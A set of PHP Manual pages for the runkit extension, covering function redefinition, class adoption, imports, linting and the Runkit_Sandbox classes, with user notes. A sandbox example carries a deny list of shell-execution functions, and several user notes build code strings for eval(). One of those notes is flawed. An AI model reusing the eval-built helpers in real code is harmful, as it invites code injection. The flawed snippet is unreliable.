  • runkit_constant_remove — Remove/Delete an already defined constant
  • runkit_function_add — Add a new function, similar to create_function
  • runkit_function_copy — Copy a function to a new function name
  • runkit_function_redefine — Replace a function definition with a new implementation
  • runkit_function_remove — Remove a function definition
  • runkit_function_rename — Change a function's name
  • runkit_import — Process a PHP file importing function and class definitions, overwriting where appropriate
  • runkit_lint_file — Check the PHP syntax of the specified file
  • runkit_lint — Check the PHP syntax of the specified php code
  • runkit_method_add — Dynamically adds a new method to a given class
  • runkit_method_copy — Copies a method from class to another
  • runkit_method_redefine — Dynamically changes the code of the given method
  • runkit_method_remove — Dynamically removes the given method
  • runkit_method_rename — Dynamically changes the name of the given method
  • runkit_return_value_used — Determines if the current functions return value will be used
  • runkit_sandbox_output_handler — Specify a function to capture and/or process output from a runkit sandbox
  • runkit_superglobals — Return numerically indexed array of registered superglobals

User Contributed Notes

Radek Maciaszek 11-Jun-2008 12:15
For some reason the camel case (or any upper case) function names doesn't work. To use runkit with functions I had to use a "smallcased" function names.


Runkit Sandbox Class -- PHP Virtual Machine

  • « runkit Functions
  • Runkit_Sandbox_Parent »
  • PHP Manual
  • runkit Functions
  • Runkit Sandbox Class -- PHP Virtual Machine

Runkit_Sandbox

(PECL runkit >= 0.7.0)

Runkit_Sandbox — Runkit Sandbox Class -- PHP Virtual Machine

Description

Instantiating the Runkit_Sandbox class creates a new thread with its own scope and program stack. Using a set of options passed to the constructor, this environment may be restricted to a subset of what the primary interpreter can do and provide a safer environment for executing user supplied code.

Note: Sandbox support (required for runkit_lint(), runkit_lint_file(), and the Runkit_Sandbox class) is only available as of PHP 5.1.0 or specially patched versions of PHP 5.0, and requires that thread safety be enabled. See the README file included in the runkit package for more information.

Constructor

void Runkit_Sandbox::__construct ([ array $options ] )

options is an associative array containing any combination of the special ini options listed below.

safe_mode

If the outer script which is instantiating the Runkit_Sandbox class is configured with safe_mode = off, then safe_mode may be turned on for the sandbox environment. This setting can not be used to disable safe_mode when it's already enabled in the outer script.

safe_mode_gid

If the outer script which is instantiating the Runkit_Sandbox class is configured with safe_mode_gid = on, then safe_mode_gid may be turned off for the sandbox environment. This setting can not be used to enable safe_mode_gid when it's already disabled in the outer script.

safe_mode_include_dir

If the outer script which is instantiating the Runkit_Sandbox class is configured with a safe_mode_include_dir, then a new safe_mode_include_dir may be set for sandbox environments below the currently defined value. safe_mode_include_dir may also be cleared to indicate that the bypass feature is disabled. If safe_mode_include_dir was blank in the outer script, but safe_mode was not enabled, then any arbitrary safe_mode_include_dir may be set while turning safe_mode on.

open_basedir

open_basedir may be set to any path below the current setting of open_basedir. If open_basedir is not set within the global scope, then it is assumed to be the root directory and may be set to any location.

allow_url_fopen

Like safe_mode, this setting can only be made more restrictive, in this case by setting it to FALSE when it is previously set to TRUE

disable_functions

Comma separated list of functions to disable within the sandbox sub-interpreter. This list need not contain the names of the currently disabled functions, they will remain disabled whether listed here or not.

disable_classes

Comma separated list of classes to disable within the sandbox sub-interpreter. This list need not contain the names of the currently disabled classes, they will remain disabled whether listed here or not.

runkit.superglobal

Comma separated list of variables to be treated as superglobals within the sandbox sub-interpreter. These variables will be used in addition to any variables defined internally or through the global runkit.superglobal setting.

runkit.internal_override

Ini option runkit.internal_override may be disabled (but not re-enabled) within sandboxes.

Example #1 Instantiating a restricted sandbox

<?php
$options = array(
  'safe_mode'=>true,
  'open_basedir'=>'/var/www/users/jdoe/',
  'allow_url_fopen'=>'false',
  'disable_functions'=>'exec,shell_exec,passthru,system',
  'disable_classes'=>'myAppClass');
$sandbox = new Runkit_Sandbox($options);
/* Non-protected ini settings may set normally */
$sandbox->ini_set('html_errors',true);
?>

Accessing Variables

All variables in the global scope of the sandbox environment are accessible as properties of the sandbox object. The first thing to note is that because of the way memory between these two threads is managed, object and resource variables can not currently be exchanged between interpreters. Additionally, all arrays are deep copied and any references will be lost. This also means that references between interpreters are not possible.

Example #2 Working with variables in a sandbox

<?php
$sandbox = new Runkit_Sandbox();

$sandbox->foo = 'bar';
$sandbox->eval('echo "$foo\n"; $bar = $foo . "baz";');
echo "{$sandbox->bar}\n";
if (isset($sandbox->foo)) unset($sandbox->foo);
$sandbox->eval('var_dump(isset($foo));');
?>

The above example will output:

bar
barbaz
bool(false)

Calling PHP Functions

Any function defined within the sandbox may be called as a method on the sandbox object. This also includes a few pseudo-function language constructs: eval(), include, include_once, require, require_once, echo, print, die(), and exit().

Example #3 Calling sandbox functions

<?php
$sandbox = new Runkit_Sandbox();

echo $sandbox->str_replace('a','f','abc');
?>

The above example will output:

fbc

When passing arguments to a sandbox function, the arguments are taken from the outer instance of PHP. If you wish to pass arguments from the sandbox's scope, be sure to access them as properties of the sandbox object as illustrated above.

Example #4 Passing arguments to sandbox functions

<?php
$sandbox = new Runkit_Sandbox();

$foo = 'bar';
$sandbox->foo = 'baz';
echo $sandbox->str_replace('a',$foo,'a');
echo $sandbox->str_replace('a',$sandbox->foo,'a');
?>

The above example will output:

bar
baz

Changing Sandbox Settings

As of runkit version 0.5, certain Sandbox settings may be modified on the fly using ArrayAccess syntax. Some settings, such as active are read-only and meant to provide status information. Other settings, such as output_handler may be set and read much like a normal array offset. Future settings may be write-only, however no such settings currently exist.

Sandbox Settings / Status Indicators
Setting | Type | Purpose | Default
active | Boolean (Read Only) | TRUE if the Sandbox is still in a usable state, FALSE if the request is in bailout due to a call to die(), exit(), or because of a fatal error condition. | TRUE (Initial)
output_handler | Callback | When set to a valid callback, all output generated by the Sandbox instance will be processed through the named function. Sandbox output handlers follow the same calling conventions as the system-wide output handler. | None
parent_access | Boolean | May the sandbox use instances of the Runkit_Sandbox_Parent class? Must be enabled for other Runkit_Sandbox_Parent related settings to work. | FALSE
parent_read | Boolean | May the sandbox read variables in its parent's context? | FALSE
parent_write | Boolean | May the sandbox modify variables in its parent's context? | FALSE
parent_eval | Boolean | May the sandbox evaluate arbitrary code in its parent's context? DANGEROUS | FALSE
parent_include | Boolean | May the sandbox include php code files in its parent's context? DANGEROUS | FALSE
parent_echo | Boolean | May the sandbox echo data in its parent's context effectively bypassing its own output_handler? | FALSE
parent_call | Boolean | May the sandbox call functions in its parent's context? | FALSE
parent_die | Boolean | May the sandbox kill its own parent? (And thus itself) | FALSE
parent_scope | Integer | What scope will parental property access look at? 0 == Global scope, 1 == Calling scope, 2 == Scope preceding calling scope, 3 == The scope before that, etc..., etc... | 0 (Global)
parent_scope | String | When parent_scope is set to a string value, it refers to a named array variable in the global scope. If the named variable does not exist at the time of access it will be created as an empty array. If the variable exists but it not an array, a dummy array will be created containing a reference to the named global variable. |

User Contributed Notes

There are no user contributed notes for this page.


Runkit Anti-Sandbox Class

  • « Runkit_Sandbox
  • runkit_class_adopt »
  • PHP Manual
  • runkit Functions
  • Runkit Anti-Sandbox Class

Runkit_Sandbox_Parent

(PECL runkit >= 0.7.0)

Runkit_Sandbox_Parent — Runkit Anti-Sandbox Class

Description

void Runkit_Sandbox_Parent::__construct ( void )

Instantiating the Runkit_Sandbox_Parent class from within a sandbox environment created from the Runkit_Sandbox class provides some (controlled) means for a sandbox child to access its parent.

Note: Sandbox support (required for runkit_lint(), runkit_lint_file(), and the Runkit_Sandbox class) is only available as of PHP 5.1.0 or specially patched versions of PHP 5.0, and requires that thread safety be enabled. See the README file included in the runkit package for more information.

In order for any of the Runkit_Sandbox_Parent features to function. Support must be enabled on a per-sandbox basis by enabling the parent_access flag from the parent's context.

Example #1 Working with variables in a sandbox

<?php
$sandbox = new Runkit_Sandbox();
$sandbox['parent_access'] = true;
?>

Accessing the Parent's Variables

Just as with sandbox variable access, a sandbox parent's variables may be read from and written to as properties of the Runkit_Sandbox_Parent class. Read access to parental variables may be enabled with the parent_read setting (in addition to the base parent_access setting). Write access, in turn, is enabled through the parent_write setting.

Unlike sandbox child variable access, the variable scope is not limited to globals only. By setting the parent_scope setting to an appropriate integer value, other scopes in the active call stack may be inspected instead. A value of 0 (Default) will direct variable access at the global scope. 1 will point variable access at whatever variable scope was active at the time the current block of sandbox code was executed. Higher values progress back through the functions that called the functions that led to the sandbox executing code that tried to access its own parent's variables.

Example #2 Accessing parental variables

<?php
$php = new Runkit_Sandbox();
$php['parent_access'] = true;
$php['parent_read'] = true;

$test = "Global";

$php->eval('$PARENT = new Runkit_Sandbox_Parent;');

$php['parent_scope'] = 0;
one();

$php['parent_scope'] = 1;
one();

$php['parent_scope'] = 2;
one();

$php['parent_scope'] = 3;
one();

$php['parent_scope'] = 4;
one();

$php['parent_scope'] = 5;
one();

function one() {
    $test = "one()";
    two();
}

function two() {
    $test = "two()";
    three();
}

function three() {
    $test = "three()";
    $GLOBALS['php']->eval('var_dump($PARENT->test);');
}
?>

The above example will output:

string(6) "Global"
string(7) "three()"
string(5) "two()"
string(5) "one()"
string(6) "Global"
string(6) "Global"

Calling the Parent's Functions

Just as with sandbox access, a sandbox may access its parents functions providing that the proper settings have been enabled. Enabling parent_call will allow the sandbox to call all functions available to the parent scope. Language constructs are each controlled by their own setting: print and echo are enabled with parent_echo. die() and exit() are enabled with parent_die. eval() is enabled with parent_eval while include, include_once, require, and require_once are enabled through parent_include.

User Contributed Notes

There are no user contributed notes for this page.


Convert a base class to an inherited class, add ancestral methods when appropriate

  • « Runkit_Sandbox_Parent
  • runkit_class_emancipate »
  • PHP Manual
  • runkit Functions
  • Convert a base class to an inherited class, add ancestral methods when appropriate

runkit_class_adopt

(PECL runkit >= 0.7.0)

runkit_class_adopt — Convert a base class to an inherited class, add ancestral methods when appropriate

Description

bool runkit_class_adopt ( string $classname , string $parentname )

Parameters

classname

Name of class to be adopted

parentname

Parent class which child class is extending

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A runkit_class_adopt() example

<?php
class myParent {
  function parentFunc() {
    echo "Parent Function Output\n";
  }
}

class myChild {
}

runkit_class_adopt('myChild','myParent');
myChild::parentFunc();
?>

The above example will output:

Parent Function Output

See Also

  • runkit_class_emancipate() - Convert an inherited class to a base class, removes any method whose scope is ancestral

User Contributed Notes

There are no user contributed notes for this page.


Convert an inherited class to a base class, removes any method whose scope is ancestral

  • « runkit_class_adopt
  • runkit_constant_add »
  • PHP Manual
  • runkit Functions
  • Convert an inherited class to a base class, removes any method whose scope is ancestral

runkit_class_emancipate

(PECL runkit >= 0.7.0)

runkit_class_emancipate — Convert an inherited class to a base class, removes any method whose scope is ancestral

Description

bool runkit_class_emancipate ( string $classname )

Parameters

classname

Name of class to emancipate

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A runkit_class_emancipate() example

<?php
class myParent {
  function parentFunc () {
    echo "Parent Function Output\n";
  }
}
class myChild extends myParent {
}

myChild::parentFunc();
runkit_class_emancipate('myChild');
myChild::parentFunc();
?>

The above example will output:

Parent Function Output
Fatal error: Call to undefined function:  parentFunc() in example.php on line 12

See Also

  • runkit_class_adopt() - Convert a base class to an inherited class, add ancestral methods when appropriate

User Contributed Notes

There are no user contributed notes for this page.


Similar to define(), but allows defining in class definitions as well

  • « runkit_class_emancipate
  • runkit_constant_redefine »
  • PHP Manual
  • runkit Functions
  • Similar to define(), but allows defining in class definitions as well

runkit_constant_add

(PECL runkit >= 0.7.0)

runkit_constant_add — Similar to define(), but allows defining in class definitions as well

Description

bool runkit_constant_add ( string $constname , mixed $value )

Parameters

constname

Name of constant to declare. Either a string to indicate a global constant, or classname::constname to indicate a class constant.

value

NULL, Bool, Long, Double, String, or Resource value to store in the new constant.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • define() - Defines a named constant
  • runkit_constant_redefine() - Redefine an already defined constant
  • runkit_constant_remove() - Remove/Delete an already defined constant

User Contributed Notes

There are no user contributed notes for this page.


Redefine an already defined constant

  • « runkit_constant_add
  • runkit_constant_remove »
  • PHP Manual
  • runkit Functions
  • Redefine an already defined constant

runkit_constant_redefine

(PECL runkit >= 0.7.0)

runkit_constant_redefine — Redefine an already defined constant

Description

bool runkit_constant_redefine ( string $constname , mixed $newvalue )

Parameters

constname

Constant to redefine. Either string indicating global constant, or classname::constname indicating class constant.

newvalue

New value to assign to constant.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • runkit_constant_add() - Similar to define(), but allows defining in class definitions as well
  • runkit_constant_remove() - Remove/Delete an already defined constant

User Contributed Notes

There are no user contributed notes for this page.


Remove/Delete an already defined constant

  • « runkit_constant_redefine
  • runkit_function_add »
  • PHP Manual
  • runkit Functions
  • Remove/Delete an already defined constant

runkit_constant_remove

(PECL runkit >= 0.7.0)

runkit_constant_remove — Remove/Delete an already defined constant

Description

bool runkit_constant_remove ( string $constname )

Parameters

constname

Name of constant to remove. Either a string indicating a global constant, or classname::constname indicating a class constant.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • define() - Defines a named constant
  • runkit_constant_add() - Similar to define(), but allows defining in class definitions as well
  • runkit_constant_redefine() - Redefine an already defined constant

User Contributed Notes

There are no user contributed notes for this page.


Add a new function, similar to create_function

  • « runkit_constant_remove
  • runkit_function_copy »
  • PHP Manual
  • runkit Functions
  • Add a new function, similar to create_function

runkit_function_add

(PECL runkit >= 0.7.0)

runkit_function_add — Add a new function, similar to create_function()

Description

bool runkit_function_add ( string $funcname , string $arglist , string $code )

Parameters

funcname

Name of function to be created

arglist

Comma separated argument list

code

Code making up the function

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A runkit_function_add() example

<?php
runkit_function_add('testme','$a,$b','echo "The value of a is $a\n"; echo "The value of b is $b\n";');
testme(1,2);
?>

The above example will output:

The value of a is 1
The value of b is 2

See Also

  • create_function() - Create an anonymous (lambda-style) function
  • runkit_function_redefine() - Replace a function definition with a new implementation
  • runkit_function_copy() - Copy a function to a new function name
  • runkit_function_rename() - Change a function's name
  • runkit_function_remove() - Remove a function definition
  • runkit_method_add() - Dynamically adds a new method to a given class

User Contributed Notes

There are no user contributed notes for this page.


Copy a function to a new function name

  • « runkit_function_add
  • runkit_function_redefine »
  • PHP Manual
  • runkit Functions
  • Copy a function to a new function name

runkit_function_copy

(PECL runkit >= 0.7.0)

runkit_function_copy — Copy a function to a new function name

Description

bool runkit_function_copy ( string $funcname , string $targetname )

Parameters

funcname

Name of existing function

targetname

Name of new function to copy definition to

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A runkit_function_copy() example

<?php
function original() {
  echo "In a function\n";
}
runkit_function_copy('original','duplicate');
original();
duplicate();
?>

The above example will output:

In a function
In a function

See Also

  • runkit_function_add() - Add a new function, similar to create_function
  • runkit_function_redefine() - Replace a function definition with a new implementation
  • runkit_function_rename() - Change a function's name
  • runkit_function_remove() - Remove a function definition

User Contributed Notes

gruessle @ gmail dot com 28-Apr-2011 06:42
(PHP 5 >= 5.3.0)
class_alias — Creates an alias for a class
http://php.net/manual/en/function.class-alias.php

For (PHP 5 < 5.3.0) you can use following:

<?php
if ( ! function_exists('class_alias')) {
    function class_alias($original, $alias) {
        eval('abstract class ' . $alias . ' extends ' . $original . ' {}');
    }
}

class_alias('print_r', 'printr');
?>
radon8472 at radon-software dot net 07-Dec-2010 12:57
If you don`t have this function, yuo can use this:

<?php
  // functions.inc.php : written by Radon8472 (2010-11-16) -- last modified: 2010-12-07

  // include guard
  if( !defined("FUNCTIONS_INC_PHP") )
  {
    define("FUNCTIONS_INC_PHP","1.0");

    /**
      * Copy a function to a new function name
      *
      * @author: Radon8472
      * @version: 1.0 (2010-12-07)
      *
      * @param: string   $funcname        Name of existing function
      * @param: string   $targetname      Name of new function to copy definition to
      *
      * @return: Returns TRUE on success or FALSE on failure.
      * @todo: find a way to copy functions with refferece parameters
      */
    function func_alias($funcname, $targetname)
    {
      $ok = true;
      if( !function_exists($funcname) ) $ok = false;
      if( function_exists($targetname)) $ok = false;

      if( $ok )
      {
        $command = "function ".$targetname."() { ";
        $command.= "\$args = func_get_args(); ";
        $command.= "return call_user_func_array(\"".$funcname."\", \$args); }";

        @eval($command);
        if( !function_exists($targetname) ) $ok = false;
      }
      return $ok;
    }

    func_alias("func_alias","function_copy");
    if(!function_exists("runkit_function_copy"))
    {
      func_alias("func_alias","runkit_function_copy");
    }
  }
?>


Replace a function definition with a new implementation

  • « runkit_function_copy
  • runkit_function_remove »
  • PHP Manual
  • runkit Functions
  • Replace a function definition with a new implementation

runkit_function_redefine

(PECL runkit >= 0.7.0)

runkit_function_redefine — Replace a function definition with a new implementation

Description

bool runkit_function_redefine ( string $funcname , string $arglist , string $code )

Note: By default, only userspace functions may be removed, renamed, or modified. In order to override internal functions, you must enable the runkit.internal_override setting in php.ini.

Parameters

funcname

Name of function to redefine

arglist

New list of arguments to be accepted by function

code

New code implementation

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A runkit_function_redefine() example

<?php
function testme() {
  echo "Original Testme Implementation\n";
}
testme();
runkit_function_redefine('testme','','echo "New Testme Implementation\n";');
testme();
?>

The above example will output:

Original Testme Implementation
New Testme Implementation

See Also

  • runkit_function_add() - Add a new function, similar to create_function
  • runkit_function_copy() - Copy a function to a new function name
  • runkit_function_rename() - Change a function's name
  • runkit_function_remove() - Remove a function definition

User Contributed Notes

lucato at gmail dot com 26-Dec-2011 01:10
Note to users: language constructs (eval, die, exit, isset, unset, echo etc.) which might be confused with functions, cannot be renamed or redefined even with runkit.internal_override.
corentin dot delorme at linagora dot com 05-Sep-2007 03:04
Here is another example with a parameter:

<?php

function hello_world($word) {
  echo "Original Hello World: $word\n</br>";
}

$helloWorld = 'echo "Redefined Hello World: $word\n</br>";';

hello_world('test1');

runkit_function_redefine('hello_world', '$word', $helloWorld);

hello_world('test2');

?>


Remove a function definition

  • « runkit_function_redefine
  • runkit_function_rename »
  • PHP Manual
  • runkit Functions
  • Remove a function definition

runkit_function_remove

(PECL runkit >= 0.7.0)

runkit_function_remove — Remove a function definition

Description

bool runkit_function_remove ( string $funcname )

Note: By default, only userspace functions may be removed, renamed, or modified. In order to override internal functions, you must enable the runkit.internal_override setting in php.ini.

Parameters

funcname

Name of function to be deleted

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • runkit_function_add() - Add a new function, similar to create_function
  • runkit_function_copy() - Copy a function to a new function name
  • runkit_function_redefine() - Replace a function definition with a new implementation
  • runkit_function_rename() - Change a function's name

User Contributed Notes

There are no user contributed notes for this page.


Change a function's name

  • « runkit_function_remove
  • runkit_import »
  • PHP Manual
  • runkit Functions
  • Change a function's name

runkit_function_rename

(PECL runkit >= 0.7.0)

runkit_function_rename — Change a function's name

Description

bool runkit_function_rename ( string $funcname , string $newname )

Note: By default, only userspace functions may be removed, renamed, or modified. In order to override internal functions, you must enable the runkit.internal_override setting in php.ini.

Parameters

funcname

Current function name

newname

New function name

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • runkit_function_add() - Add a new function, similar to create_function
  • runkit_function_copy() - Copy a function to a new function name
  • runkit_function_redefine() - Replace a function definition with a new implementation
  • runkit_function_remove() - Remove a function definition

User Contributed Notes

There are no user contributed notes for this page.


Process a PHP file importing function and class definitions, overwriting where appropriate

  • « runkit_function_rename
  • runkit_lint_file »
  • PHP Manual
  • runkit Functions
  • Process a PHP file importing function and class definitions, overwriting where appropriate

runkit_import

(PECL runkit >= 0.7.0)

runkit_import — Process a PHP file importing function and class definitions, overwriting where appropriate

Description

bool runkit_import ( string $filename [, int $flags = RUNKIT_IMPORT_CLASS_METHODS ] )

Similar to include however any code residing outside of a function or class is simply ignored. Additionally, depending on the value of flags, any functions or classes which already exist in the currently running environment will be automatically overwritten by their new definitions.

Parameters

filename

Filename to import function and class definitions from

flags

Bitwise OR of the RUNKIT_IMPORT_* family of constants.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

dabbers 16-Aug-2008 01:58
It appears that this function still doesn't remove the previous class. I'm not sure what it does to it, but looking at memory usage, it only goes up instead of staying the same or going down (This was when I reloaded a class that was exactly the same).

So that might be something to fix, unless I'm doing something wrong.
Maxdamantus 26-Nov-2007 07:35
In reply to the comment made by info at lucasvd dot nl:

Runkit WILL reload classes, but the runkit_import must be called from inside an other class or object to do so.

<?php
class reload{
    function __construct($file){
        runkit_import($file);
    }
}

new reload("myclassfile.php");
?>
info at lucasvd dot nl 13-Feb-2007 04:13
Note that reloading classes does not work, when you're using this extension on the PHP Command Line Interface.
php at ransico dot com 02-Nov-2006 02:17
When using this function to override an existing class, you need to be careful in cases where the new definition 'extends' another class - it won't work.

For example,

<?php
// File 1

class BaseCls { }

class TestCls extends BaseCls {
  function hi () { echo "Hi"; }
}

runkit_import('test2.php');

?>

<?php
// File 2
class TestCls extends BaseCls {
  function hi () { echo "Hi again!"; }
}
?>

will NOT work. In file two, you need to omit the 'extends BaseCls'. Note however, that anything from BaseCls will still be in TestCls since it was defined originally in file 1.

From what I can tell, runkit_import defines and overwrites elements - however it does not delete.
bbisgod [at] gmail [dot] com 29-Nov-2005 08:19
I was experiencing problems using this function on a script. I discovered through trial and error that you CANNOT reload a function (or method of a class) if it has been called (e.g, its present in the debug_backtrace). Also you cannot redeclare a function that is used by set_error_handler.

The reasons are logical, but it took me a good 2 days of debugging to find it, hope this saves someone a headache.
bbisgod [at] gmail [dot] com 29-Nov-2005 07:27
Heres a nice function to reload the whole program, note, requires PHP5.1:

<?php
function reload() {
  $files = get_included_files();
  foreach($files as $file) {
    if (runkit_lint_file($file)) {
      runkit_import($file);
    } else {
      return false;
    }
  }
}
?>


Check the PHP syntax of the specified file

  • « runkit_import
  • runkit_lint »
  • PHP Manual
  • runkit Functions
  • Check the PHP syntax of the specified file

runkit_lint_file

(PECL runkit >= 0.7.0)

runkit_lint_file — Check the PHP syntax of the specified file

Description

bool runkit_lint_file ( string $filename )

The runkit_lint_file() function performs a syntax (lint) check on the specified filename testing for scripting errors. This is similar to using php -l from the commandline.

Note: Sandbox support (required for runkit_lint(), runkit_lint_file(), and the Runkit_Sandbox class) is only available as of PHP 5.1.0 or specially patched versions of PHP 5.0, and requires that thread safety be enabled. See the README file included in the runkit package for more information.

Parameters

filename

File containing PHP Code to be lint checked

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • runkit_lint() - Check the PHP syntax of the specified php code

User Contributed Notes

There are no user contributed notes for this page.


Check the PHP syntax of the specified php code

  • « runkit_lint_file
  • runkit_method_add »
  • PHP Manual
  • runkit Functions
  • Check the PHP syntax of the specified php code

runkit_lint

(PECL runkit >= 0.7.0)

runkit_lint — Check the PHP syntax of the specified php code

Description

bool runkit_lint ( string $code )

The runkit_lint() function performs a syntax (lint) check on the specified php code testing for scripting errors. This is similar to using php -l from the command line except runkit_lint() accepts actual code rather than a filename.

Note: Sandbox support (required for runkit_lint(), runkit_lint_file(), and the Runkit_Sandbox class) is only available as of PHP 5.1.0 or specially patched versions of PHP 5.0, and requires that thread safety be enabled. See the README file included in the runkit package for more information.

Parameters

code

PHP Code to be lint checked

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • runkit_lint_file() - Check the PHP syntax of the specified file

User Contributed Notes

There are no user contributed notes for this page.


Dynamically adds a new method to a given class

  • « runkit_lint
  • runkit_method_copy »
  • PHP Manual
  • runkit Functions
  • Dynamically adds a new method to a given class

runkit_method_add

(PECL runkit >= 0.7.0)

runkit_method_add — Dynamically adds a new method to a given class

Description

bool runkit_method_add ( string $classname , string $methodname , string $args , string $code [, int $flags = RUNKIT_ACC_PUBLIC ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

classname

The class to which this method will be added

methodname

The name of the method to add

args

Comma-delimited list of arguments for the newly-created method

code

The code to be evaluated when methodname is called

flags

The type of method to create, can be RUNKIT_ACC_PUBLIC, RUNKIT_ACC_PROTECTED or RUNKIT_ACC_PRIVATE

Note:

This parameter is only used as of PHP 5, because, prior to this, all methods were public.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 runkit_method_add() example

<?php
class Example {
    function foo() {
        echo "foo!\n";
    }
}

// create an Example object
$e = new Example();

// Add a new public method
runkit_method_add(
    'Example',
    'add',
    '$num1, $num2',
    'return $num1 + $num2;',
    RUNKIT_ACC_PUBLIC
);

// add 12 + 4
echo $e->add(12, 4);
?>

The above example will output:

16

See Also

  • runkit_method_copy() - Copies a method from class to another
  • runkit_method_redefine() - Dynamically changes the code of the given method
  • runkit_method_remove() - Dynamically removes the given method
  • runkit_method_rename() - Dynamically changes the name of the given method
  • runkit_function_add() - Add a new function, similar to create_function

User Contributed Notes

There are no user contributed notes for this page.


Copies a method from class to another

  • « runkit_method_add
  • runkit_method_redefine »
  • PHP Manual
  • runkit Functions
  • Copies a method from class to another

runkit_method_copy

(PECL runkit >= 0.7.0)

runkit_method_copy — Copies a method from class to another

Description

bool runkit_method_copy ( string $dClass , string $dMethod , string $sClass [, string $sMethod ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

dClass

Destination class for copied method

dMethod

Destination method name

sClass

Source class of the method to copy

sMethod

Name of the method to copy from the source class. If this parameter is omitted, the value of dMethod is assumed.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 runkit_method_copy() example

<?php
class Foo {
    function example() {
        return "foo!\n";
    }
}

class Bar {
    // initially, no methods
}

// copy the example() method from the Foo class to the Bar class, as baz()
runkit_method_copy('Bar', 'baz', 'Foo', 'example');

// output copied function
echo Bar::baz();
?>

The above example will output:

foo!

See Also

  • runkit_method_add() - Dynamically adds a new method to a given class
  • runkit_method_redefine() - Dynamically changes the code of the given method
  • runkit_method_remove() - Dynamically removes the given method
  • runkit_method_rename() - Dynamically changes the name of the given method
  • runkit_function_copy() - Copy a function to a new function name

User Contributed Notes

There are no user contributed notes for this page.


Dynamically changes the code of the given method

  • « runkit_method_copy
  • runkit_method_remove »
  • PHP Manual
  • runkit Functions
  • Dynamically changes the code of the given method

runkit_method_redefine

(PECL runkit >= 0.7.0)

runkit_method_redefine — Dynamically changes the code of the given method

Description

bool runkit_method_redefine ( string $classname , string $methodname , string $args , string $code [, int $flags = RUNKIT_ACC_PUBLIC ] )

Note: This function cannot be used to manipulate the currently running (or chained) method.

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

classname

The class in which to redefine the method

methodname

The name of the method to redefine

args

Comma-delimited list of arguments for the redefined method

code

The new code to be evaluated when methodname is called

flags

The redefined method can be RUNKIT_ACC_PUBLIC, RUNKIT_ACC_PROTECTED or RUNKIT_ACC_PRIVATE

Note:

This parameter is only used as of PHP 5, because, prior to this, all methods were public.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 runkit_method_redefine() example

<?php
class Example {
    function foo() {
        return "foo!\n";
    }
}

// create an Example object
$e = new Example();

// output Example::foo() (before redefine)
echo "Before: " . $e->foo();

// Redefine the 'foo' method
runkit_method_redefine(
    'Example',
    'foo',
    '',
    'return "bar!\n";',
    RUNKIT_ACC_PUBLIC
);

// output Example::foo() (after redefine)
echo "After: " . $e->foo();
?>

The above example will output:

Before: foo!
After: bar!

See Also

  • runkit_method_add() - Dynamically adds a new method to a given class
  • runkit_method_copy() - Copies a method from class to another
  • runkit_method_remove() - Dynamically removes the given method
  • runkit_method_rename() - Dynamically changes the name of the given method
  • runkit_function_redefine() - Replace a function definition with a new implementation

User Contributed Notes

lauri dot piisang at cashongo dot co dot uk 15-Jun-2012 11:07
A sample implementation of redefining a public static method of symfony's sfDate to 'travel in time' with runkit:
<?php
//Going back in time 3 days
$subtractablePeriod = 3;
runkit_method_redefine('sfDateTimeToolkit', 'now', '', 'return strtotime("-'.$subtractablePeriod.' days");', (RUNKIT_ACC_PUBLIC | RUNKIT_ACC_STATIC));

//Do Stuff here that would otherwise get the current date

//Return to realtime
runkit_method_redefine('sfDateTimeToolkit', 'now', '', 'return time();', (RUNKIT_ACC_PUBLIC | RUNKIT_ACC_STATIC));
?>
anton at bondarenko.cc 10-Feb-2012 09:38
In last runkit versions you can also use RUNKIT_ACC_STATIC constant as flags parametr to redifine static function.


Dynamically removes the given method

  • « runkit_method_redefine
  • runkit_method_rename »
  • PHP Manual
  • runkit Functions
  • Dynamically removes the given method

runkit_method_remove

(PECL runkit >= 0.7.0)

runkit_method_remove — Dynamically removes the given method

Description

bool runkit_method_remove ( string $classname , string $methodname )

Note: This function cannot be used to manipulate the currently running (or chained) method.

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

classname

The class in which to remove the method

methodname

The name of the method to remove

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 runkit_method_remove() example

<?php
class Example {
    function foo() {
        return "foo!\n";
    }

    function bar() {
        return "bar!\n";
    }
}

// Remove the 'foo' method
runkit_method_remove(
    'Example',
    'foo'
);

echo implode(' ', get_class_methods('Example'));

?>

The above example will output:

bar

See Also

  • runkit_method_add() - Dynamically adds a new method to a given class
  • runkit_method_copy() - Copies a method from class to another
  • runkit_method_redefine() - Dynamically changes the code of the given method
  • runkit_method_rename() - Dynamically changes the name of the given method
  • runkit_function_remove() - Remove a function definition

User Contributed Notes

There are no user contributed notes for this page.


Dynamically changes the name of the given method

  • « runkit_method_remove
  • runkit_return_value_used »
  • PHP Manual
  • runkit Functions
  • Dynamically changes the name of the given method

runkit_method_rename

(PECL runkit >= 0.7.0)

runkit_method_rename — Dynamically changes the name of the given method

Description

bool runkit_method_rename ( string $classname , string $methodname , string $newname )

Note: This function cannot be used to manipulate the currently running (or chained) method.

Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Parameters

classname

The class in which to rename the method

methodname

The name of the method to rename

